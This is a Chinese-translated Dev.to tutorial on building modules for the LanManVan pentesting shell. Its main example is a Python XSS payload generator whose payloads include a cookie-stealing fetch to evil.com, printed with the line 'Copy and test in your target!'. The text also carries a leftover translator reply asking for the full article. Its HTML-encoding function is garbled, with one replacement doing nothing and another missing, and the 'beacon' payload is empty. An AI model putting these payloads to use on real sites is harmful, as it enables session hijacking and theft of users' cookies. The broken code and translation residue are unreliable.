LanManVan:如何创建自己的模块
Source: Dev.to
要为您提供准确的翻译,请提供您希望翻译的完整文本(包括正文、标题、代码块说明等)。只提供链接本身不足以进行翻译。请粘贴或输入文章的内容,我会按照要求保留原始格式、Markdown 语法和技术术语,只翻译正文部分。
创建新模块
使用 LanManVan shell 中内置的 create 命令。
# Python module
create mytool python
# Bash module
create mytool bash
示例
hmza@0root ❯ create xss-payload-gen python
[+] Module 'xss-payload-gen' created successfully
[*] Location: /home/hmza/lanmanvan/modules/xss-payload-gen
该命令会自动创建:
- 模块目录
module.yaml(元数据)main.py或main.sh(你的代码)
你可以使用 edit 命令编辑模块:
hmza@0root ❯ edit xss-payload-gen
这将在默认编辑器中打开模块目录并显示文件:
Files in module:
├─ main.py
└─ module.yaml
模块元数据 (module.yaml)
module.yaml 文件用于向 LanManVan 说明你的模块信息。
Source: …
Python 模块示例 (main.py)
参数通过环境变量 (ARG_) 传递。
#!/usr/bin/env python3
"""
Module: xss-payload-gen
"""
import os
import urllib.parse
import base64
def url_encode(s):
return urllib.parse.quote(s)
def html_encode(s):
return (
s.replace('&', '&')
.replace('', '>')
.replace('"', '"')
)
def main():
payload_type = os.getenv('ARG_TYPE', 'alert')
encode = os.getenv('ARG_ENCODE', 'url').lower()
payloads = {
'alert': 'alert(1)',
'steal-cookie': 'fetch("https://evil.com/steal?cookie="+document.cookie)',
'beacon': ''
}
base = payloads.get(payload_type, payloads['alert'])
if encode == 'url':
result = url_encode(base)
elif encode == 'html':
result = html_encode(base)
elif encode == 'base64':
result = base64.b64encode(base.encode()).decode()
else:
result = base
print(f"[+] Generated payload ({payload_type}, {encode}-encoded):")
print()
print(result)
print()
print("[*] Copy and test in your target!")
if __name__ == '__main__':
main()
运行 Python 模块
# 简写(无空格)
xss-payload-gen type=steal-cookie encode=none
# 带空格(仍然有效)
xss-payload-gen type = beacon encode = base64
# 使用额外的全局选项
xss-payload-gen type=alert threads=5 save=1
当使用 save=1 时,输出会保存到 ./logs/ 并带有时间戳。
Bash 模块示例 (main.sh)
创建一个基于 Bash 的模块,例如 MAC 地址查询工具。
# Create the module
create mac-lookup bash
编辑 main.sh:
#!/bin/bash
VENDOR=$(curl -s "http://api.macvendors.com/$ARG_MAC")
echo "[+] MAC: $ARG_MAC"
echo "[+] Vendor: ${VENDOR:-Unknown}"
对应的 module.yaml(仅展示 options 部分以示简洁):
options:
mac:
type: string
description: MAC address to lookup
required: true
运行 Bash 模块
mac-lookup mac=00:11:22:33:44:55
附加提示
- Search –
search <term>查找相似模块。 - Info –
info <module>显示详细视图。 - Logging – 添加
save=1将输出存储在./logs/。 - Threading – 使用
threads=N进行并发执行(如果模块支持)。 - Global variables – 根据需要设置
timeout=?或proxy=http://127.0.0.1:8080。
发布你的模块
- 将你的模块放在独立的 GitHub 仓库中。
- 包含
module.yaml文件。 - 提交 Pull Request 将其添加到社区仓库,或使用
lmv_module直接从任何公共仓库安装。
LanManVan 让模块开发变得有趣且快速——无需模板、无需复杂的 API——只需编写你的工具并在强大的 Shell 中运行。
今天就开始创建吧!
hmza@0root ❯ create my-awesome-tool python
仓库:
提交你的模块、想法或 PR——让我们一起壮大它!祝你 hacking 愉快(始终保持伦理)! 🚀